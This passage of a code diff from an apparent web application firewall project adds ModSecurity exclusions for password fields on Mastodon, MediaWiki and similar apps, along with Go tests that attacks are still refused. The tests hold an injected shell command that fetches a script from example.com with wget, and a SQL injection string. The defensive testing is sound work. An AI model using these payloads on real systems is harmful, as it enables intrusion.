ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
# The web app's reports have the JSON keys forward and forward_to_domains. A
# report forwarded to another server lists that server in forward_to_domains.
# Their names contain .forward, a file in a home folder, so 930120 refused every
+71 -14
View File
@@ -6,6 +6,7 @@ import (
"net/http"
"net/url"
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
@@ -54,12 +55,6 @@ const (
mastodonStatus = "status="
)
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "mastodon-requests.txt")
}
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
// and 932260 in the query, on a path where it skips them, ending in "=".
//
@@ -129,10 +124,6 @@ var mastodonFormFields = []mastodonBodyField{
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
{http.MethodPost, mastodonSignIn, mastodonPassword},
{http.MethodPost, mastodonAccount, mastodonPassword},
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
{http.MethodPost, mastodonAccount, "user[current_password]="},
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
@@ -145,6 +136,19 @@ var mastodonFormFields = []mastodonBodyField{
{http.MethodPost, mastodonRoles, "user_role[name]="},
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
{http.MethodPost, mastodonSignUp, "reason="},
}
// mastodonPasswordForms sends each password field in a form data body, on
// a path where it skips the four rules and the rules that random passwords
// set off.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mastodonPasswordForms = []mastodonBodyField{
{http.MethodPost, mastodonSignIn, mastodonPassword},
{http.MethodPost, mastodonAccount, mastodonPassword},
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
{http.MethodPost, mastodonAccount, "user[current_password]="},
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
{
http.MethodPost, "/settings/migration/redirect",
@@ -152,7 +156,14 @@ var mastodonFormFields = []mastodonBodyField{
},
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
{http.MethodPost, mastodonSignUp, passwordField},
{http.MethodPost, mastodonSignUp, "reason="},
}
// mastodonPasswordJSON sends the password of signing up through the API in
// a JSON body, with %s for its value.
//
//nolint:gochecknoglobals // a struct cannot be a constant
var mastodonPasswordJSON = mastodonBodyField{
http.MethodPost, mastodonSignUp, `{"password":%s}`,
}
// mastodonJSONFields sends each field that skips the four rules in a JSON
@@ -178,7 +189,6 @@ var mastodonJSONFields = []mastodonBodyField{
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
{http.MethodPost, mastodonReports, `{"comment":%s}`},
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
{http.MethodPost, mastodonSignUp, `{"password":%s}`},
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
@@ -287,6 +297,46 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
}
}
func TestMastodonPasswordsPass(t *testing.T) {
t.Parallel()
for _, sent := range mastodonPasswordForms {
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
t.Parallel()
r := request{sent.method, sent.target, []string{formData}}
name := strings.TrimSuffix(sent.field, "=")
wantRandomPasswordsPass(t, r, name)
wantPasswordAttacksPass(t, r, name)
wantPasswordAttacksRefused(t, r, name)
})
}
t.Run("JSON", func(t *testing.T) {
t.Parallel()
r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
[]string{jsonBody}}
wantRandomPasswordsPass(t, r, "password")
wantPasswordAttacksPass(t, r, "password")
wantPasswordAttacksRefused(t, r, "password")
})
}
func TestMastodonPasswordConfirmationPasses(t *testing.T) {
t.Parallel()
challenge := []string{"form_challenge[current_password]"}
wantPasswordFieldsPass(t, []passwordFields{
{"/auth/challenge", formData, challenge},
{"/settings/two_factor_authentication/otp_authentication", formData, challenge},
{"/settings/two_factor_authentication_methods/disable", formData, challenge},
})
}
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
t.Parallel()
@@ -299,7 +349,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
}
}
for _, sent := range mastodonFormFields {
for _, sent := range slices.Concat(mastodonFormFields, mastodonPasswordForms) {
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
t.Errorf("%v let through", sent)
}
@@ -310,7 +360,8 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
t.Fatal(err)
}
for _, sent := range mastodonJSONFields {
passwordJSON := []mastodonBodyField{mastodonPasswordJSON}
for _, sent := range slices.Concat(mastodonJSONFields, passwordJSON) {
if mastodonJSON(t, sent, attack) < mastodonThreshold {
t.Errorf("%v let through", sent)
}
@@ -330,6 +381,12 @@ func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
t.Errorf("%s refused: %d", sent, score)
}
}
for _, sent := range mastodonPasswordForms {
if mastodonForm(t, sent, value) >= mastodonThreshold {
t.Errorf("%v with %s refused", sent, value)
}
}
}
code := url.QueryEscape(mastodonCodePost)
+174
View File
@@ -108,6 +108,180 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
# These passwords skip each rule random passwords set off, on MediaWiki's pages:
# wpPassword: signing in and signing up
# and on /api.php:
# lgpassword: signing in with action=login
# password, retype: action=clientlogin, createaccount and
# changeauthenticationdata
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900917,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpPassword "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=944150;ARGS:wpPassword"
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
"id:900918,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:lgpassword|password|retype)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password|retype)$/"
# Other apps use the names password and retype too, and these exclusions apply
# in front of every app. So these two fields skip the same rules only on the
# pages that take them:
# password, retype: changing the password at Special:ChangeCredentials
# retype: signing up at Special:CreateAccount
# retype: setting the new password after a reset at Special:UserLogin
# The path names the page, or the path is /index.php and title names it. A title
# on any other path does not count, so another app's paths under /index.php/
# keep every rule.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/Special:ChangeCredentials(?:/|$)" \
"id:900919,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?Special:ChangeCredentials(?:/|$)" "chain"
SecRule &ARGS_GET:/^(?:password|retype)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype)$/"
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/Special:(?:CreateAccount|UserLogin)(?:/|$)" \
"id:900920,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?Special:(?:CreateAccount|UserLogin)(?:/|$)" "chain"
SecRule &ARGS_GET:retype "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:retype,\
ctl:ruleRemoveTargetById=920540;ARGS:retype,\
ctl:ruleRemoveTargetById=921200;ARGS:retype,\
ctl:ruleRemoveTargetById=930100;ARGS:retype,\
ctl:ruleRemoveTargetById=930110;ARGS:retype,\
ctl:ruleRemoveTargetById=930120;ARGS:retype,\
ctl:ruleRemoveTargetById=932125;ARGS:retype,\
ctl:ruleRemoveTargetById=932130;ARGS:retype,\
ctl:ruleRemoveTargetById=932160;ARGS:retype,\
ctl:ruleRemoveTargetById=932230;ARGS:retype,\
ctl:ruleRemoveTargetById=932250;ARGS:retype,\
ctl:ruleRemoveTargetById=932260;ARGS:retype,\
ctl:ruleRemoveTargetById=932270;ARGS:retype,\
ctl:ruleRemoveTargetById=932280;ARGS:retype,\
ctl:ruleRemoveTargetById=932330;ARGS:retype,\
ctl:ruleRemoveTargetById=932340;ARGS:retype,\
ctl:ruleRemoveTargetById=932370;ARGS:retype,\
ctl:ruleRemoveTargetById=932380;ARGS:retype,\
ctl:ruleRemoveTargetById=933100;ARGS:retype,\
ctl:ruleRemoveTargetById=933135;ARGS:retype,\
ctl:ruleRemoveTargetById=933180;ARGS:retype,\
ctl:ruleRemoveTargetById=933210;ARGS:retype,\
ctl:ruleRemoveTargetById=941100;ARGS:retype,\
ctl:ruleRemoveTargetById=941120;ARGS:retype,\
ctl:ruleRemoveTargetById=941160;ARGS:retype,\
ctl:ruleRemoveTargetById=941180;ARGS:retype,\
ctl:ruleRemoveTargetById=942100;ARGS:retype,\
ctl:ruleRemoveTargetById=942151;ARGS:retype,\
ctl:ruleRemoveTargetById=942190;ARGS:retype,\
ctl:ruleRemoveTargetById=942230;ARGS:retype,\
ctl:ruleRemoveTargetById=942290;ARGS:retype,\
ctl:ruleRemoveTargetById=942320;ARGS:retype,\
ctl:ruleRemoveTargetById=942540;ARGS:retype,\
ctl:ruleRemoveTargetById=942550;ARGS:retype,\
ctl:ruleRemoveTargetById=944150;ARGS:retype"
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
# or prependtext, and the REST API in the JSON field source. Each of these
# rules refused saving or previewing a page whose wikitext held a template, a
+99 -18
View File
@@ -3,6 +3,7 @@ package coreruleset_test
import (
"net/http"
"slices"
"strings"
"testing"
)
@@ -24,6 +25,12 @@ const mediawikiUpload = "/wiki/Special:Upload"
// mediawikiSignIn is the address MediaWiki's sign-in form posts to.
const mediawikiSignIn = "/index.php?title=Special:UserLogin"
// mediawikiAccountChange is the page that changes a password.
const mediawikiAccountChange = "/wiki/Special:ChangeCredentials"
// mediawikiSignUp is the page that creates an account.
const mediawikiSignUp = "/wiki/Special:CreateAccount"
// mediawikiMove is the address MediaWiki's form for moving a page posts to.
const mediawikiMove = "/index.php?title=Special:MovePage&action=submit"
@@ -42,16 +49,10 @@ const (
mediawikiUploadPage = "/index.php/Special:Upload"
)
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
}
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
// path where it skips them, ending in "=".
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
// each in the query, on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiQueryFields = []string{
@@ -136,9 +137,9 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
type mediawikiBodyField struct{ target, field string }
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
// a path where it skips them.
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends
// each in a form data body, on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiBodyFields = []mediawikiBodyField{
@@ -146,13 +147,11 @@ var mediawikiBodyFields = []mediawikiBodyField{
{mediawikiUpload, "wpUploadDescription="},
{mediawikiUpload, "wpDestFile="},
{mediawikiSignIn, "wpName="},
{mediawikiSignIn, "wpPassword="},
{mediawikiMove, "wpOldTitle="},
{mediawikiMove, "wpNewTitleMain="},
{mediawikiMove, "wpReason="},
{mediawikiBlock, "wpTarget="},
{mediawikiSignInPage, "wpName="},
{"/w" + mediawikiSignInPage, "wpPassword="},
{mediawikiUploadPage, "wpDestFile="},
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
{mediawikiAPI, "title="},
@@ -165,8 +164,18 @@ var mediawikiBodyFields = []mediawikiBodyField{
{mediawikiAPI, "reason="},
{mediawikiAPI, "user="},
{mediawikiAPI, "lgname="},
{mediawikiAPI, "lgpassword="},
{mediawikiAPI, "username="},
}
// mediawikiPasswordFields are the passwords, which skip the four rules and the
// rules that random passwords set off. mediawikiPasswordFields sends each in a
// form data body, on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiPasswordFields = []mediawikiBodyField{
{mediawikiSignIn, "wpPassword="},
{"/w" + mediawikiSignInPage, "wpPassword="},
{mediawikiAPI, "lgpassword="},
{mediawikiAPI, passwordField},
}
@@ -233,6 +242,77 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
}
}
func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) {
t.Parallel()
// The form that changes a password posts to this subpage.
const subpage = "/MediaWiki%5CAuth%5CPasswordAuthenticationRequest"
change := []string{passwordKey, retypeKey}
retype := []string{retypeKey}
wantPasswordFieldsPass(t, []passwordFields{
{mediawikiSignUp, formData, retype},
{"/index.php/Special:CreateAccount", formData, retype},
{"/index.php?title=Special:CreateAccount&returnto=Main_Page", formData, retype},
{"/wiki/Special:UserLogin", formData, retype},
{mediawikiSignIn, formData, retype},
{mediawikiAccountChange, formData, change},
{mediawikiAccountChange + subpage, formData, change},
{"/index.php/Special:ChangeCredentials", formData, change},
{"/index.php?title=Special:ChangeCredentials" + subpage, formData, change},
{"/w/index.php?title=Special:ChangeCredentials", formData, change},
{mediawikiAPI, formData, retype},
})
}
// Other apps use the names password and retype too. So these fields keep every
// rule on any page that does not take them, whatever title the query names.
func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) {
t.Parallel()
const appPath = "/index.php/apps/mail/api/accounts"
crs := readingBodies(t)
for _, sent := range []struct{ target, name string }{
{appPath, passwordKey},
{appPath, retypeKey},
{appPath + "?title=Special:ChangeCredentials", passwordKey},
{appPath + "?title=Special:CreateAccount", retypeKey},
{"/index.php?title=Main_Page", passwordKey},
{"/index.php/Main_Page", retypeKey},
{"/wiki/Main_Page", passwordKey},
{"/wiki/Special:ChangeCredentialsExample", passwordKey},
{mediawikiSignUp, passwordKey},
{"/index.php?title=Special:CreateAccount", passwordKey},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
body := formBody(sent.name, "' OR '1'='1")
if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got)
}
}
}
func TestMediaWikiPasswordsPass(t *testing.T) {
t.Parallel()
for _, sent := range mediawikiPasswordFields {
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
t.Parallel()
r := request{http.MethodPost, sent.target, []string{formData}}
name := strings.TrimSuffix(sent.field, "=")
wantRandomPasswordsPass(t, r, name)
wantPasswordAttacksPass(t, r, name)
wantPasswordAttacksRefused(t, r, name)
})
}
}
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
// fields that skip the other command rules, as a query value.
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
@@ -253,7 +333,8 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
crs = readingBodies(t)
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields,
mediawikiPasswordFields) {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
@@ -311,8 +392,8 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
}
}
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
mediawikiWikitextFields...)
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
mediawikiPasswordFields)
for _, sent := range fields {
r := request{http.MethodPost, sent.target, []string{formData}}
+135
View File
@@ -61,6 +61,141 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
# The password, in the body, skips each rule that random passwords set off.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
"id:900125,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:password "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:password,\
ctl:ruleRemoveTargetById=920540;ARGS:password,\
ctl:ruleRemoveTargetById=921200;ARGS:password,\
ctl:ruleRemoveTargetById=930100;ARGS:password,\
ctl:ruleRemoveTargetById=930110;ARGS:password,\
ctl:ruleRemoveTargetById=930120;ARGS:password,\
ctl:ruleRemoveTargetById=932125;ARGS:password,\
ctl:ruleRemoveTargetById=932130;ARGS:password,\
ctl:ruleRemoveTargetById=932160;ARGS:password,\
ctl:ruleRemoveTargetById=932230;ARGS:password,\
ctl:ruleRemoveTargetById=932250;ARGS:password,\
ctl:ruleRemoveTargetById=932260;ARGS:password,\
ctl:ruleRemoveTargetById=932270;ARGS:password,\
ctl:ruleRemoveTargetById=932280;ARGS:password,\
ctl:ruleRemoveTargetById=932330;ARGS:password,\
ctl:ruleRemoveTargetById=932340;ARGS:password,\
ctl:ruleRemoveTargetById=932370;ARGS:password,\
ctl:ruleRemoveTargetById=932380;ARGS:password,\
ctl:ruleRemoveTargetById=933100;ARGS:password,\
ctl:ruleRemoveTargetById=933135;ARGS:password,\
ctl:ruleRemoveTargetById=933180;ARGS:password,\
ctl:ruleRemoveTargetById=933210;ARGS:password,\
ctl:ruleRemoveTargetById=941100;ARGS:password,\
ctl:ruleRemoveTargetById=941120;ARGS:password,\
ctl:ruleRemoveTargetById=941160;ARGS:password,\
ctl:ruleRemoveTargetById=941180;ARGS:password,\
ctl:ruleRemoveTargetById=942100;ARGS:password,\
ctl:ruleRemoveTargetById=942151;ARGS:password,\
ctl:ruleRemoveTargetById=942190;ARGS:password,\
ctl:ruleRemoveTargetById=942230;ARGS:password,\
ctl:ruleRemoveTargetById=942290;ARGS:password,\
ctl:ruleRemoveTargetById=942320;ARGS:password,\
ctl:ruleRemoveTargetById=942540;ARGS:password,\
ctl:ruleRemoveTargetById=942550;ARGS:password,\
ctl:ruleRemoveTargetById=944150;ARGS:password"
# The other passwords, in form data or JSON, skip the same rules:
# password: confirming the password, resetting it, checking a sign-in with
# person/check, a public share's password, setting a share's password or
# sending it by email, creating or editing a user, and an administrator
# changing a user's password
# oldpassword, newpassword: changing the password on the settings page
# oldPassword, newPassword: changing an expired LDAP password, and changing
# the password of the encryption app's private key or recovery key
# recoveryPassword: an administrator changing the password of an encrypted
# account, or setting the encryption app's recovery key
# confirmPassword: the encryption app's recovery key, typed again
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?(?:login/confirm|lostpassword/set/[^/]+/[^/]+|settings/(?:personal|users)/changepassword|s/[^/]+/authenticate/[^/]+|apps/user_ldap/renewpassword|apps/encryption/ajax/(?:updatePrivateKeyPassword|changeRecoveryPassword|adminRecovery))$|^/ocs/v[12]\.php/(?:person/check|core/apppassword/confirm|cloud/users(?:/[^/]+)?|apps/files_sharing/api/v1/shares(?:/[^/]+(?:/send-email)?)?)$" \
